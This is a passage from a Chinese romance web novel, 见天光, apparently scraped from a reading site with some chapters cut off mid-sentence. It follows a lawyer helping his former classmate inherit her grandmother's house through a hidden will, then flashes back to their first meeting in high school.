她抬头,眼神坚定,“可是姥姥去世前说了,这屋子是留给我的,舅舅他们和外婆早年间就断绝来往了,这些年外婆生病他们甚至都没有来看过一眼。房产证我是不会给他们的。” 陈恕微微颔首,表示明白她的想法,“房产证上是丁女士的名字吗?” “是。” “丁女士说这房子留给你,是口头说的,还是有立遗嘱?”陈恕皱眉道。 “当时……姥姥看起来就像快要好了一样,已经能喝得进粥了,可是没过两天,突然情况又恶化了,太快了……她临终之前说的,应该是没有立遗嘱。”张期期犹犹豫豫道。 “应该?是有还是没有?”陈恕拧眉。 张期期看了她一眼,摇头,“没有。” 闻言,陈恕眉心微蹙,沉声道:“如果没有立具有法律效力的遗嘱,那你想要继承这个房子其实是没有胜算的。因为遗产的法定继承人第一顺序是配偶、子女、父母。你舅舅他们继承房子是名正言顺的,你母亲倒也是能够和你舅舅们共同继承。” “而你……在你母亲还在世的情况下,你也不可能跳过你母亲去继承她应得的那一部分。” 张期期通过眼前的这一幕仿佛看到了这九年来在他自己喜欢的领域闪闪发光的陈恕。他是那样的沉着冷静,气场强大。 她想她当年并没有做错,若是真的因为她,他放弃他的信仰和坚持,那她才是真的不可饶恕。 “期……” “张小姐……张小姐!”陈恕改口唤道,他简直要气笑了,她总是这样,明明他在认真地和她说话,她总能魂游天外。 张期期眼皮一眨,回过神来,心里暗暗懊恼,“那、那怎么办才好?” 陈恕深吸一口气,“你姥姥临终说房子留给你的时候,有没有其他人听见?最好是要有两个及两个以上的人可以作证,这两个人必须和你没有亲缘或者利益关系。” 张期期立刻点头,“有,邻居可以吗?我姥姥走的时候,他们也在。” “可以。”陈恕颔首。 张期期心里松了一口气,嘴角微微扬起一个小小的弧度,“陈恕,谢谢你。” 她笑起来一点儿也不符合记忆里哈哈大笑的模样,陈恕清醒地意识到这是横亘在岁月里的变化,他的胸口又升起难以言喻的锥心刺骨感。 陈恕神色因此冷淡,“不用,我帮你仅仅是因为你的姥姥,和你并无关系。” 和她并无关系……张期期低头,沉默半响,“嗯,我知道的。” 「她知道个屁」 陈恕咬紧后槽牙,额角青筋微微跳动,情绪一向内敛的他此刻居然忍不住想要开口|爆粗。 —— 次日。 张期期和陈恕前往当时她姥姥临终时,那几位同样在场的邻居家。 暴雨洗刷过后的树木苍翠欲滴,一片绿意盎然。 石塘这座小镇的早晨不像京照市那般车水马龙、地铁拥堵到像挤满的沙丁鱼罐头。这里晨间空气清新,小石板路上较多的是骑着自行车的菜农们,车后座两旁装着两大筐今早新鲜采摘的菜。 微凉的风轻吹,直叫人心旷神怡。 陈恕久违地感受到心底 7. 第 7 章 《见天光》全本免费阅读 - 张期期抱着猫,走到电视柜处,她轻轻将猫放在地上,又从电视柜里拿出一包猫粮来,用剪子剪开包装之后,随手将剪子放在柜子上。 小猫的小碗就放在电视柜下面,张期期低着头伸手将小碗拿出来,往里面倒了一部分猫粮。 “喵~”木木双脚一蹬,蹬上了电视柜上面,猫掌摆动着伸向剪刀,发出喵喵的叫声。 “木木。”陈恕见状,眉心狠狠一跳,锋利的剪刀对着小猫柔软的梅花垫,看得他心惊胆战。 张期期闻声,猛然抬头,同时木木被陈恕的突然出声下了一大跳,慌乱中往前再度一跃。 - “啪——” 电视一旁的柜子上摆放着的相框砰然摔碎在地上,相框上的玻璃碎了一地。 眼见着木木惊慌得又要跳到地上,张期期急切喊道:“木木!别动。” 这要是跳下来,踩到了玻璃渣子可不得疼死。 木木瞬间乖乖地趴着柜子上,小声地喵喵叫着,一副知道自己做错了事的样子。 张期期心里一软,顾不得满地的碎玻璃,伸手将木木抱住,低声道:“没事没事了,别害怕,不怪你啊。” 这时,陈恕已经大步走了过来,他垂眼看着地上的狼藉,“我来收拾,你带着它去沙发那儿坐着吧。” 张期期神色呐呐地点点头,顺从地坐回了沙发上,手上安抚着被惊到的木木。 - 陈恕径直说完,半蹲下身子,从玻璃渣里取出完好的照片。 嗯?他的眼神一顿,这照片的厚度…… 陈恕捏着照片的指尖一摩擦,照片背后滑出一张对折的A4纸,他心中瞬间有了猜测。 陈恕没有急着展开,而是将照片和纸张一齐放在了柜子上,而后又准确无误地在客厅的角落里找到扫把,将满地的玻璃碎片打扫干净,最后再将剪刀放进柜子里。 视线转移到装着猫粮的小碗,陈恕想了想,还是将小碗中装好的猫粮倒掉了,重新倒了一小部分进去,刚才玻璃渣飞溅,他不确定有没有渣子飞到了小碗中。 - 沙发上的张期期沉默地看着忙忙碌碌的陈恕,这一幕使得她神色恍然,好似回到了九年前,他总是这样沉默着帮她事事做好。 收拾完后,陈恕一手拿着照片和纸张,一手将已经重新倒好猫粮的碗放在茶几的桌角下。 他神色自若地在沙发上坐下,指尖微动,徐徐展开那张A4纸。 木木见自己的口粮就在男人脚边时,顿时激动地跳出主人的怀抱,飞快地窜了过去,埋头就是一顿吃。 喵喵喵…… 张期期看着如此“有奶就是娘”的木木,神色尴尬。 而一旁的陈恕从容不迫,专心地看着手中的A4纸,好像他才是这间屋子、这只小猫的主人一般。 “这是什么?”张期期好奇地看着对方手中的展开的纸张。 陈恕一一浏览了遗嘱上的信息,确认这是公正、有效、具有法律效力,这才抬头,将遗嘱递给了张期期,“你看看……” 张期期接过,快速地看了一遍,惊讶道:“这是姥姥立的遗嘱?” “嗯。有了这张遗嘱,这房子板上钉钉是你的了,甚至也不需要和你舅舅他们打官司了,直接带上你的身份证、丁女士的死亡证明、遗嘱到公证处进行公正,拿到继承公证书之后再去过户就可以了。” 陈恕一边说着,一边用余光看着脚下埋头吃猫粮的小猫。 原本还在苦恼李大叔、李大婶等人不肯为她作证,现在事情突然柳暗花明,张期期那颗提着的心终于缓缓下落,但她还是觉得有些疑惑,“姥姥为什么要把遗嘱放在相框照片的背后?” “你这屋子被你舅舅他们打砸过几次了吧?”这是陈恕猜到的。 张期期点头,“嗯。” 她随即想起来,那几次的打砸,客厅这个显眼的相框却是唯一没有被砸掉的。 张期期恍然大悟,看向陈恕,是她想的那样吗? 陈恕微微颔首,“是你想的那样,相框上有你姥姥,身为人子哪怕再不孝,也不大可能砸自己已故母亲的相框,且死者为大,人都是有敬畏之心的。” 他其实还品出了别的意味,丁女士之所以没有直接将遗嘱放在哪里这件事告诉张期期,大约是人到临终,老人家还是有自己的私心吧,总归那是她的儿子们。 不过这一点,他并不打算告诉期期。 - “原来如此。那……我们现在就去?”张期期浅浅一笑,眸中透着亮光。 陈恕指尖一颤,内心深处仿佛被羽毛轻轻拂过,悸动之下,只觉得有些微痒。 他干咳一声,道:“事不宜迟,现在就去,你去拿证件。” “好,你等我一会儿。”张期期起身往二楼而去。 - 这会儿张期期不在,陈恕低头看着脚边埋头吃粮的小猫。 木木…… 他指尖动了动,往前微微一伸,似要触碰那只柔软的小猫。 楼梯处传来脚步声,陈恕瞬间收回手,继而又是神色平淡。 “证件我已经拿了我们走吧。”张期期道。 “嗯。”陈恕颔首,径直往外走去,张期期看了木木一眼后,连忙跟上陈恕的脚步。 —— 从公证处出来后,接着是房屋过户,跑上跑下忙了一整天,这才终于将新的房产证拿到手。 张期期翻开房产证,上面的名字已经从丁义珍变成了张期期。 她抿唇微笑,珍重地将房产证放在包包里,这是姥姥留给她最后的东西了。 - 张期期和陈恕前脚刚从政府机构出来,后脚得到消息的戚大等人就到了,一群人凶神恶煞般围住了他们。 陈恕下意识地回头看了一眼身后的政府机构,只觉得实在匪夷所思。 他眉梢一沉,眼神冷厉,上前一步将张期期挡在身后,沉声点明道:“这是政府机构门口,你们胆子还真是大,想在这里惹事生非?” 陈恕这一开口,戚大等人才回过神来。 当得知张期期来办理房屋过户的消息时,他怒气瞬间直冲天灵盖,哪里还顾得上其他,直接带着人就赶过来了。 这会儿见政府机构门口已经有人在审视着他们了,他又瞬间觉得好像被一盆冷水兜头浇下。 戚大气结,怒气卡在嗓子里似的,“你、你……你根本不是我妈的直系亲属,房屋你怎么过得了户?” “丁义珍女士在去世前就已经写下了具有法律效力的遗嘱,所以这房子只能是我的当事人的。戚先生,我们连官司都不需要和您打,现在房屋过户了,新的房产证也办好了。” “一切已定,戚先生,您明白了吗?”陈恕语气平稳,娓娓道来。 戚大咬紧牙关,气得双眼发红。 明明他是亲生儿子,母亲居然偷偷写了遗嘱,将房子给这个姓张的外人! 陈恕继续道:“要是继续闹下去,我的当事人还可以告你们在丁义珍女士晚年时没有尽到赡养老人的义务。房子得不到了,你们还想上一次法庭当被告吗?” 男人冷眼看着他们,神色镇定自若。 张期期依恋地看着身前如松如柏的陈恕,扑面而来的恶意在他的面前不堪一击。 「陈恕。」她在心里无声呼唤着他的名字,声声眷念。 8. 第 8 章 《见天光》全本免费阅读 * 天光·卷。【校园卷】 - 京照市。 这一年,是张期期遇见陈恕的第一年。 * 十月初,正是秋老虎的季节,除了清晨夜间,白日里空气还是非常黏稠闷热的。幸而这个国庆假日,京照市阴雨连绵了好几天,空气中那让人烦躁的闷热才稍稍缓解一些。 今天是国庆长假的最后一天,再大的雨也困不住一连憋在家好几天的张期期了。 她一大早就约了几个朋友在市中心的“金河湾商都”逛街,金河湾商都内应有尽有,也算是下雨天她们唯一能打发时间的好去处了。 - 此刻,正是傍晚时分,微雨朦胧。 大约因是国庆假日的最后一天,梧桐大道上塞得密密麻麻的,都是车。 车流缓慢地行驶着,张期期被汽车的一起一停折腾得头晕、想吐。 “李叔……真的没有别的路可以走了吗?” 张期期简直生无可恋,她后悔了,节假日果真不应该出行,金河湾商都已经够拥挤了,没想到回家的路更艰难。 被称为李叔的中年男人开着车,头也不回地道:“期期,车开到这里,就算有别的路,也调不了头了。” 哎……张期期长长地叹了一口气。 塞了那么久的车,她头脑早就晕沉沉的了,为了让自己好受一些,张期期也顾不得此刻窗外正下着微雨,径直摇下了车窗玻璃。 窗外空气微凉,张期期双手交叠,趴在车窗处,任由微凉的雨吹拂在脸庞上。 路再一次堵死了,汽车又停了下来。许是大家已经被堵得实在没脾气了,所以狂按喇叭这种扰民的事情并没有发生。 “喵喵喵~”轻快活泼的猫叫声蓦然想起…… 张期期微微一顿,眼神骤然发亮,循声探头探脑地看向车窗外后方。 人行道上,白色长袖衬衫、黑色裤子的男生半蹲下身子,一手撑着黑伞,一手将一只橘黄色的小猫捞起来,挂在自己的手臂上。 此时梧桐大道两侧的路灯已经亮起,在微雨下,暖黄色的灯光铺洒下来,细细的雨帘清晰可见。 男生撑着伞,抱着猫快步跑过了张期期的车窗前,他精致的眉眼清晰可见。 不远处就是公交车站台,张期期看见男生跑到了那里后坐在长凳上,又轻手轻脚地将小橘猫放在自己的腿上,从书包里拿出一块面包给小橘猫咬着慢慢吃。 - 车流熙熙攘攘,张期期原本烦躁的心情看着这一幕顿时平静了下来,男生与小橘猫之间恍然形成了安宁的气氛,与这嘈杂拥挤的世界格格不入。 隔着暖黄色的雨幕,他眉眼带笑,小猫闲适安逸。 张期期也不自觉地脸上带上了笑意,真好啊……她也想养一只小猫猫,可是她妈妈有洁癖,不允许她养。 - 不知过了多久,车流缓缓流动起来,前方不远处的公交站台离她越来越近。 几声急促的猫叫声响起,张期期好奇地望过去,只见男生腿上的小橘猫蹬了一下,飞快窜进了人行道旁的草丛里。 男生起身,背着包站在原地,看着小猫消失在草丛中。 “哎……小猫跑了啊!怎么还不起追呢?”张期期神色焦急,低声自言自语道。 前方开车的李叔余光扫了一眼,道:“那是流浪猫吧?” 张期期:?流浪猫吗…… 既然这么喜欢,为什么不养它呢? - 梧桐大道堵死的这一段路有了前方交警的指挥,道路慢慢通畅起来了。 男生久久伫立在原地的身影被慢慢抛在车窗后,张期期趴在窗口回头望着,下着雨,暖黄色的路灯形成了“丁达尔效应”,他就好像站在迷离绚烂的光芒下。 这一幕很美,但很快,张期期就看不见他的身影了。 * 少女的眼中,男生站在了光芒倾洒之下,然而男生撑着伞,看见的却是自己伞下的一片阴影,那是独属于他一个人的晦涩。 阴雨连绵下狼狈不堪的流浪猫就像他的另一个缩影,陈恕胸腔中猛然一悸,连忙抱起了小猫往公交站台处躲雨。 书包里的面包是他今天的晚餐,他撕开一半与小猫分享。 看着在他腿上眯着眼显得很舒适的小猫,陈恕嘴角微扬,浓重的晦涩好似被掌下的柔软安抚了。 然而,草丛中传来几声急促的猫叫声,他腿上的小猫一顿,随即咬着他给的面包消失在草丛中,回到了伙伴或是家人的身边。 一切都只是他的妄想而已,这世间甚至连流浪的小猫都有归属,无家可归的始终只有他一个。 陈恕微垂着眼,无声苦笑,即便小猫真的是流浪猫,他到底也是养不起的,刚才那一半的面包,便是生活困顿,情绪贫瘠的他唯一能给出的了。 —— 皇家园林别墅区是京照市高档豪宅别墅小区,一家一栋的五层别墅,别墅的前面是院子,后面则带着一个花园。 李叔将车停在了前院门口,雨已经停了。 张期期见李叔准备下车的样子,便马上道:“李叔,我自己拿就好,几步路的事情,你不用下车啦。” “行,那期期小心一点。”李叔是看着期期长大的,小事上倒也不见外。 张期期下车,跑到后备箱将今日同小伙伴逛街买的东西拎出来,一溜烟跑进了家里。 - 家里静悄悄,客厅她妈常坐的位置并没有人。 “莲姨——”张期期唤了一声。 从厨房出来一道人影,正是家政阿姨莲姨,“哎……期期回来了?先等等,晚点才能吃饭。今天先生会回来吃饭。” 张期期探头探脑地,始终不见她妈的身影,“好,莲姨,我妈呢?” “太太啊,好像是在四楼。” 张家这栋别墅,一共五层,一楼是家政阿姨的房间、客厅、厨房、客房等等,二楼是张家主人和太太的套房,三楼则是一个小型的图书室和书房,四楼是太太的衣帽间,顶楼五楼则是张期期的地盘了。 “好。莲姨,那我先 9. 第 9 章 《见天光》全本免费阅读 - 夏至过后,天色黑得越来越早了,再加上今日下了雨,七点钟的时候,天色就全黑了。 院门外传来熟悉的汽车鸣笛声。 沙发上,张期期挽着她妈的手,正赖在对方身边,“肯定是我爸回来了。” 话音刚落,张家大门就被打开了,进来的果然是张世明。 张期期:“爸!” 张世明的手背在身后,客厅的沙发上坐着他美丽的妻子、可爱的女儿。 他神色夸张地变现出“非常苦恼”的样子,道:“这可怎么办好呢?一边是我最爱的老婆,一边是我最爱的女儿,可是……这花啊只有一束,可怎么办呢?” 他一边说着,一边走进客厅,从身后“变”出了一大束火红的玫瑰花。 中年男人的耍宝顿时惹得沙发上两个女人喜笑颜开。 张期期又笑又气,“爸,你故意的!” 戚和风心底微微的愁闷顿时烟消云散,“这么大个人了,怎么还故意逗女儿,今天这花肯定是给我们家期期的。对吧?” “哼……少来,这玫瑰花是妈喜欢的。怎么可能是给我的呢?” 张世明哈哈大笑,“这花还真是给你妈妈的。”说着他将玫瑰花束塞到了戚和风的手中。 眼见自己女儿快要气炸了的样子,张世明这才讨饶道:“哎呀,爸爸错了,爸爸不该逗你的,我怎么会厚此薄彼呢,期期啊,你太不相信爸爸了……” 他大步走过去,打开大门,从门口处又拿出来一束白色的百合花。 “看看,看看,爸爸怎么会忘了你呢?” 白色百合花,正是张期期最喜欢的花。 张期期:“爸就是故意捉弄我的,哼!” - 这时,莲姨从厨房出来道:“先生回来了?现在开饭吗?” 张世明点头,揽着戚和风的肩膀,道,“嗯,吃饭吧。” 饭桌上。 张世明:“往后我要是没有说要回来吃饭,你们就直接吃,不用等我。” 戚和风嘴角微扬,“知道了。” 张期期边咬着筷子边道:“那爸爸你就多回家吃饭呗,不然每次家里就我和妈两人吃饭,太冷清了。” “我也想啊,但爸爸哪里有那么多时间……” 张世明是“盛明连锁酒店”的老总,几乎每天都忙得团团转,且最近他又在琢磨着要不要试水超高回报率的房地产产业或者是高新科技行业,忙得更是没有时间。 今天是国庆假日的最后一天,他这才终于挤出时间来陪陪自己的家人。 张世明看女儿又瞪起了眼睛,立刻改口道:“爸爸尽量多回家吃饭,尽量啊!” “这还差不多。”张期期嘟嘟囔囔道。 晚饭是一家人难得的聊天时间,张家人口少,并不像商圈其他大家族一样奉行着“食不言”的老规矩。 张世明分别给妻子、女儿夹了一筷子鱼肉,“期期最近学习怎么样?听说你们上个月分班考试了,有把握还在重点班吗?” 张期期闻言,撇了撇嘴,“爸,你也太看不起我了吧,前八十名而已。我每次考试都在前四十名,一直都是重点一班的好吗?” “那就行!学习上要多花点心思,将来考个好学校,像你敬亭哥哥那样学金融、学管理,以后给爸爸帮忙,爸爸就不用那么忙了。” 张期期闻言,脸色顿时一垮,“爸,你怎么又说这个,我真的不想学那见鬼的金融或者是企业管理什么的,我想画画。” “画画、钢琴、舞蹈那些都是学来消遣打发时间的,还是得学一些正经的东西。”张世明一锥定音道。 戚和风扬起的嘴角一僵,她微微垂下了眼帘。 “许家那小子真有能耐,简直就是个商业奇才,我看呐,这孩子将来比许州两夫妻还要厉害。期期啊,你可得给爸爸长脸啊,爸爸就你一个女儿,你不帮爸爸,那爸爸以后可得累死啊。” 张许两家是世交,张家是搞五星级连锁酒店,许家则是房地产行业的,两家除却交情之外,自然还有商业往来。 十几年前,许州和做“高新科技”发家的林家联姻,因此这些年来,在资本上,许家已经渐渐和张家拉开了距离。 “爸……”张期期欲言又止。 戚和风见过许州的妻子林瑶,那个女人和现在的她完全不一样,是一个非常强势、非常有野心、有目标的人。 她道:“期期,乖一点,听你爸爸的。好吗?咱们家以后就只有你帮你爸爸了。” 见自己的爸妈如此殷切地看着她,张期期拒绝的话怎么也说不出口,她神色厌厌道:“那好吧。” 张世明笑着拍了拍张期期的肩膀,“这才是爸爸的好女儿。” 他一笑,饭桌上才恢复了和乐融融的氛围。 张期期看着对她们嘘寒问暖的爸爸,看着满眼温、柔笑着的妈妈,心道:好吧……其实学什么都行啦,只要一家人永远开开心心在一起就好啦…… * 晚饭过后,张期期上了五楼。 她在房间里刷了一套数学、一套物理卷子之后,时间已经来到了晚上十点钟。 当把黑色圆珠笔放下的时候,她才意识到窗外又下起了大雨。 远处,路灯的灯光在雨幕的折射下萦绕着朦胧的光影美感,淅淅沥沥的雨声侵入耳膜,张期期没来由地想起梧桐大道上喂猫的男生。 心念一动,她小跑着跑上小阁楼。 五楼是别墅的顶层,而别墅又是城堡形的外观,所以五楼是挑高的小复式,最上边便是张期期的小阁楼,那也是她画画的地方。 24色油画颜料、松节油、调色油、上光油、油画笔、油壶、调色盘、刮刀以及画架、油画板等等用品都是一应俱全的。 她坐在画架前,比划了几番,最终确定了构图和比例,色彩她早就想好了使用柔和的暖色调…… 伴随着淅淅沥沥的雨声,张期期的心不由得宁静下来,她下笔飞快、流畅。 微雨,暖黄色的路灯,梧桐大道上,少年撑着伞、抱着猫跑过她窗前的那一幕在她的脑海中无限清晰,对方隔着雨幕的眉眼也越发精致得惊心动魄。 夜色渐渐深沉,张期期的笔触缓缓变慢,她在仔细地处理着油画上光影的效果以及其他的一些小细节。 当画笔彻底停下的时候已经是凌晨一点钟了,张期期从小阁楼下来后,倒头就睡。 那幅画静静地安放在画架上,下雨天少年撑伞抱猫,站在路灯下时,恍若有神明的光倾洒在他的身上。 整幅画很美,很有意境,唯独少年的面容上是一片空白。 —— 次日。 国庆后返校的这一天是个大晴天,仿佛积蓄的雨水都在整个国庆期间下完了。 十月初的晴天,正是秋老虎猖狂的时候,京照市再一次闷热起来,空气里温热的触感使得一中学生们返校时的怨念更重,这一天也正是上个月月考放榜的日子。 京照一中作为本市的重点高中,每一个年级都分重点班、平行班、国际班。 这其中国际班 10. 第 10 章 《见天光》全本免费阅读 - 这么热情的笑容……陈恕脚步一滞,顿了片刻后,才点头道:“老师。”‘ “快进来,快进来。”张扬招手示意。 “你的成绩我看了,非常不错。从今天起你就转到我们一班来了,别担心到了新班级不能适应,我们一班的同学都非常好相处的。” 好不好的相处的,对他来说并不重要……陈恕点点头,“好的老师,我知道了。” 礼貌客气又疏离……张扬内心咂巴了一下,也不在意,继续道,“这会儿班里的同学估计还在跑操,等会儿吧……我让他们帮你一起把课本什么的搬过来。班里后面还有一张空桌子,你暂时先用着,过两天就要换座位了,不用担心……” 陈恕点头:“谢谢老师。不过不用了,我就一点点东西,都放在书包里了。” 错失让班里同学表达友善的机会,张扬遗憾道:“这样啊……” 新学生看起来内敛又沉默的,正好和自己班的“疯”学生中和一下……而且这可是全科无短板的学生啊!!正好给班级里偏科偏到爪哇国的某位学生看看,杀杀她单科“天才”的锐气。 张扬想想就觉得兴奋。 他再次欣赏了一下成绩单,点点头,挥手示意陈恕离开,“那行吧,去一班等着上课吧。” - 陈恕垂眼转身,张扬重新拿起了包子嚼着,眼神不经意地看向了一旁的纪律考勤本子,他像是瞬间被刺到眼睛一般,猛地闭了闭双眼。 “等等——”张扬嚼着包子含糊不清开口。 陈恕神色平静地转身,看向张扬。 “你过去一班的时候把我们班上的张期期叫过来。” 陈恕眼底闪过一丝狐疑,张兮兮? “好。” - 上个月月考考完的那一天,陈恕对自己的成绩还是有底气的,他确定自己会转到实验班,所以考完的当天他就将自己的课桌清空,将所有的课本、学习资料都搬到出租屋内。 而他今天来学校,书包里只放了几本课本,从办公室出来之后,陈恕便回了一趟原先的班级,将书包拿上,随后往高二一班教室走去。 广播器里传来校长的演讲声,在校园上空回响着。 陈恕看着眼前的高二一班,想到新班级班主任吩咐的事情,顿时将视线投向教室内正趴在桌面上睡觉的女生。 他看不见对方的长相,只能看到女生后脑勺上绑着的丸子头。 陈恕抿了抿唇,走过去低声道:“同学。” 趴着的张期期下意识地皱了皱眉头,半醒半沉的她完全忽略了头顶上传来的呼唤声。 “同学!” 张期期曲起的手指无意识地抓了抓头发,「谁啊……什么同学……」 “张……张兮兮?” 陈恕不确定地开口唤道。 话语刚落,趴着的女生豁然起身,瞪着圆圆的眼睛望着他,眼底尽是被人打扰睡眠后的恼怒、气愤。 少女稍微圆润的脸上还带着微红的睡痕,她微微张唇,一副正待发作的样子。 陈恕不擅长对付这种需要多费口舌的麻烦事,他抢在女生还未发作前,微垂下眼眸,淡淡道:“你班主任找你。” 无人应答,窗外掠起一阵风,窗帘飘动。 陈恕眉心一动,抬眼望过去。 方才还一脸不满的少女此刻眼睛依旧还是瞪得圆圆的,眼底的恼怒却是消散得无影无踪,她的嘴角无声地扬起,眼神闪烁着异样炙热的光芒,看得陈恕下意识地身体往后微仰,眉心狠狠皱起。 - “是你啊!”张期期欣喜道。 眼前男生清俊的脸庞上微微蹙着眉头,薄唇紧紧抿着,睫毛浓密修长,眉眼如墨,一中校服单薄的白色长袖衬衣穿在他身上,微微透出少年凌厉的肩骨。 初秋的天蔚蓝澄澈,高二的课桌上铺散着凌乱的书本,轻微摆动的窗帘,青春的痕迹铺散在少年的身后,头顶的风扇声呼呼作响,遥远的操场传来广播的声音。 世界嘈杂,但张期期的耳畔却仿佛潮水逝去一般安宁寂静,目之所及的少年正是昨夜她画上的男生。 陈恕皱眉,百分百确定自己没见过眼前的人后,他重复道:“你班主任找你。” 说完,他目光在教室里扫过,全班仅有最后一排靠近后门那里的桌子是空的。陈恕拎着书包走了过去。 张期期眼随心动,视线跟着对方,见他直接坐在教室里,一时间有些讶异,片刻后她才明白过来这应该是这次月考考上来的平行班学生。 高二一班是高二年级的重点一班,以往并不是没有平行班的学生转到重点班的,但基本上都是转到高二二班。 一班的学生名单在今天之前一直都没有多大变化的,除了文理分科后走了几个选择文科的学生。 张期期想起昨日公交台上的那一幕,“昨天你……” 陈恕抬头,满眼写着:班主任找你。 她脚步突然一顿,班主任那张铁青的面容浮现在脑海中…… 班主任找她? 班主任找她! 张期期眼皮直跳,硬生生改变脚尖的方向,无奈转身往年级办公室而去。 她敲了敲办公室的门,“老师,您找我?” “进来。” 张期期一顿,熟练地换上一副“我很忐忑、我很愧疚、我很不安”的神情,乖顺地走到班主任张扬的办公桌前,低着头立刻道:“我错了……” “你错了。”张扬道。 ……异口同声。 张期期瞬间抬头,神色尴尬又想笑。 “每次一来,你就是认错。认错认得挺积极的啊,可我怎么没见你改啊,张期期。” “老师……大课间听校长演讲真还不如让我们多睡会儿呢,这样大家上课就精神多了,这不挺好的吗?您说是不是啊?” 张扬瞪了她一眼,“你这是准备教校长做事?” “不敢。”张期期赶紧低头。 张扬哼笑一声,眼前的学生看似低眉顺眼,一副诚恳认错的模样,实则眼底跳跃着顽皮和无辜。 他心底一派了然,指骨敲了敲桌子,“无规矩不成方圆,既然你现在是学生,就要好好遵守学校的规章制度。还有……昨晚熬夜了吧?你看看你……今天早上上我的那两节语文课,你都快睡着了吧……” “算了,这些我也不多说了,你先看看你自己的成绩……”张扬将班级成绩单上写着张期期的那一栏指给她看。 …… “老师,我这成绩挺好的啊,没问题啊,全年级排名十五呢。”张期期兀自点头,神色满意。 张扬:……“你看你的英语成绩了吗?” 张期期顿时一副踩到狗屎的样子,英语这玩意儿…… 张扬见她这副样子,顿时气不打一处来,他深深怀疑自己曾经是不是造了什么孽,不然怎么会成为张期期的班主任,“还有全年级十五?你觉得没问题?你还记得你上一次考试的排名吗?” 张期期一噎:“上次全年级第四。” “这都倒退了十一名,你跟我说没问题啊?” 张期期辩解,“老师,这情况不一样啊,上次考试还没文理分班啊,我还有政史地三科给我拉分。现在都文理分科了,也没得多少科目能给我拉分了。” “那你就不能不拉分吗?你但凡尊重英语这门科目一点儿,也不至于要物化生三科、政史地三门、两大主科数学、语文统统给你拉英语的分!” 张扬简直“字字泣血”,张期期是他见过偏科最奇葩的学生。 说她偏科吧?她 11. 第 11 章 《见天光》全本免费阅读 - 在张扬的“劝学配方”中,升旗仪式早就结束。 绚烂金色的阳光倾洒在长长的走廊上,张期期路过的教室里全都是三五成群打闹的学生,整栋教学楼沸反盈天。 高二一班就显得稍微安静一点,但也仅仅只是一点,只因这会儿大家都在议论、疑惑教室里坐在最后一排靠后门处陌生的男生。 「是他吧?这一次月考,好像就只有一位平行班上来的学生。」 「什么平行班学生……人家力压我们班的林听,成为这一次月考榜单的第一,现在他是我们重点班的同学了。」 「你说,人家的脑子到底怎么长的,为什么我就不能当个第一试试。」 「就你?滚吧,你没希望了。」男生笑闹着骂道。 「说正经的,他总成绩比林听高出了整整二十分,这么厉害,高一的时候怎么籍籍无名啊?林听入学以来可是一直坐稳年纪第一的宝座的啊!难道……他偏科?严重偏科!就像张期期那样……文科的那几门将他总分拉崩了?」 「别乱猜测了,学校里能有几个像张期期这么逆天的!第一手消息啊,这人是今年新转学来的,原先在十二班。人家高一就不在咱们学校读。」 …… 林听笔下不停地做着英语周报试卷,听着这些议论声,她笔下微微一顿,下一刻又继续埋头写着。 文理分科之后,她的优势不再,虽说她是喜欢文科,但喜欢与未来的职业规划不能混为一谈。 同学们自以为压低了声音,但量变引起质变,这细小的声音汇聚在一起,连刚到教室门口的张期期稍微听一耳朵就知道他们在议论谁。 班里的女生时不时装作不经意地回头,然后迅速扫了一眼那清俊的男生,再若无其事地继续聊天、讲题。 许是男生脸上的冷淡太过明显,班上的同学议论归议论,但也没有贸然凑上前去打听,因为在多数人的认知里,优秀的人都是带着一点傲气的,比如林听、又比如今天的这位新同学。 少年挺直着单薄的背脊,他眉眼淡淡地翻阅着手中的书本,似乎完全没有听到教室内由他引发的嘈杂和喧嚣。 他光是坐在那里,就吸引了多数人的目光。 人都是慕强的,作为重点一班要强的学生更是如此,更何况这位同学长得也甚是精致、好看。 张期期眼眸中闪过绚烂的光彩,脚步径直往眉眼精致的男生走去。 从教室前门到后门那短短的一段路,她接受了全班同学目光的洗礼,教室内不知不觉地安静下来了,女生们向她投去致敬的眼光,那可是一座冷冰冰雕像一样的人。 “新同学,你好,我是一班的生活委员,你叫什么名字啊?”张期期站在男生的桌旁,微微弯下身子,笑着问道。 陈恕闻声,头也不抬,翻过一页书章,淡声道:“陈恕。” 陈述…… 张期期唇间轻喃这个名字,片刻后,她脸上的笑容更加明媚,继续道:“对了,我叫……” 陈恕吧嗒一声合上书,抬眼看着女生,“张兮兮同学,你好。” 张兮兮? 脏兮兮? 脏兮兮同学? 教室里爆发出一阵哄笑声,男生们笑得直拍桌子,女生们压抑着自己,没有笑出声来,但肉眼可见的,她们的肩膀疯狂抖个不停。 张期期的脸刷地一片通红,她瞪大双眼,豁然转身怒视着她的同学们。 班长周嘉先立刻拇指和食指相碰,在唇前做出拉上拉链状的行为,率先表示投降,男生们一个个有样学样,纷纷举起“小白旗”。 陈恕意识到自己大概是闹了笑话,想起班主任嚼着包子含糊地说话的样子,他眉心一皱。 他正欲开口道歉,身旁站着的女生突然跨步反身坐到他前桌的椅子上,四目相对的瞬间,陈恕一愣,女生眼底的笑意似乎要溢出眼眶一般。 “陈述,你好。我叫张期期,弓长张,期待的期,张期期。很高兴认识你。” 陈恕顿了下,指尖抓着课桌上的必修课本,好半响才点了下头,又道:“要上课了。” “我代表全班同学欢迎你,欢迎你加入我们高二一班。”张期期神采飞扬,一点儿也没有被眼前男生的冷淡击倒。 陈恕还未说话时,教室的前门突然飞窜进一个男生,男生手里还抱着颗篮球,眨眼间他就到了陈恕的眼前。 “哈!张期期,怎么就你代表我们全班了,你亭哥我是你代表得了的吗?”许兰亭说完,原地做出一个投篮的动作。 见此,张期期白了对方一眼。 “哎,兄弟,我叫许兰亭,来了我们班,以后你就是一班的人了,不要和大家见外啊。” 他状似要拍陈恕的肩膀,陈恕皱眉,微微侧了侧身体。许兰亭也不在意,从顺如流地改为敲了敲对方的桌面,继续道:“你可以叫我亭哥,我罩着你啊。” “切——”男生们整齐划一地发出拆台的声音,女生们被逗得直笑。 班长周嘉先抄起桌前的保温瓶,轻喝了一口枸杞水,这才假模假样地咳了咳,挤开许兰亭这个铁憨憨,道:“我叫周嘉先,是一班的班长,我代表我们班的同学欢迎你,在班里有什么问题可以找我。” 「我代表我们班同学欢迎你」这句话像个开关一样,周围的男生也顿时都围过来,开头就道:“我叫蒋文,我代表我们班的同学欢迎你。” “怎么就你代表了?我来,我来……同学,我叫王思。我代表我们班的同学欢迎你啊。” “怎么又你代表了,还得看我,我叫关宇。我代表我们班的同学欢迎你。” “关羽牛逼。” “承让承让,哈哈哈。” …… 